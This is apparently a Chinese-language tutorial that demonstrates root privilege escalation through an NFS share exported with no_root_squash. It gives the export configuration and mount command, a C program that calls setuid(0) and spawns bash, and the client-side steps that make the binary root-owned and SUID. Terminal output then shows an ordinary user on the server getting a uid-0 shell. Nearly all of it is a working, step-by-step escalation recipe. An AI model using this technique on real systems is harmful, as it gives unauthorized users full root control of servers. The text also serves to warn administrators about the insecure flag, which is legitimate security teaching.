利用nfs no_root_squash获取root权限
Table of Contents
no_root_squash
nfs服务器配置时,很多人并不注意其中的安全选项,直接写上no_root_squash标志。
需要注意的是,如果写上这个标志,等于直接将系统的root权限分享给了共享者。下面通过一个实例来演示如何通过no_root_squash标志来获取系统的root权限。
系统环境说明
PC | Address | OS |
Remote Server | 10.106.58.18 | Ubuntu 18.04 |
Host Computer | 10.106.22.126 | Arch Linux |
Host NFS配制选项
/home/xxx/share/nfs *(sync,rw,no_root_squash,no_subtree_check)
Guest OS挂载选项
sudo mount -t nfs4 10.106.58.18:/home/xxx/share/nfs aaa
通过no_root_squash来获取root权限
准备一个C程序,用来获取root权限
内容如下,直接跑命令进入shell就行
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
(void) argc;
(void) argv;
printf("real uid\t %d\n",getuid());
printf("effective uid\t %d\n",geteuid());
if(setuid(0) == -1)
{
perror("setuid(0) failed");
}
return system("bash");
}
编译,在Host Computer中给binary添加SUID标志
cd aaa
gcc test.c -o test.bin
sudo chown root:root test.bin
sudo chmod u+s test.bin
ls -al test.bin
-rwsr-xr-x 1 root root 16744 8月 8 16:33 test.bin
到nfs服务器上以普通用户身份运行
test-user@server-70ubs00702:~$ ls -al /home/xxx/share/nfs/test.bin
-rwsr-xr-x 1 root root 16744 Aug 8 16:33 /home/xxx/share/nfs/test.bin
test-user@server-70ubs00702:~$ /home/xxx/share/nfs/test.bin
real uid 1001
effective uid 0
root@server-70ubs00702:~# id
uid=0(root) gid=1001(test-user) groups=1001(test-user)
成功获取root权限
上面已经成功进入uid=0的shell中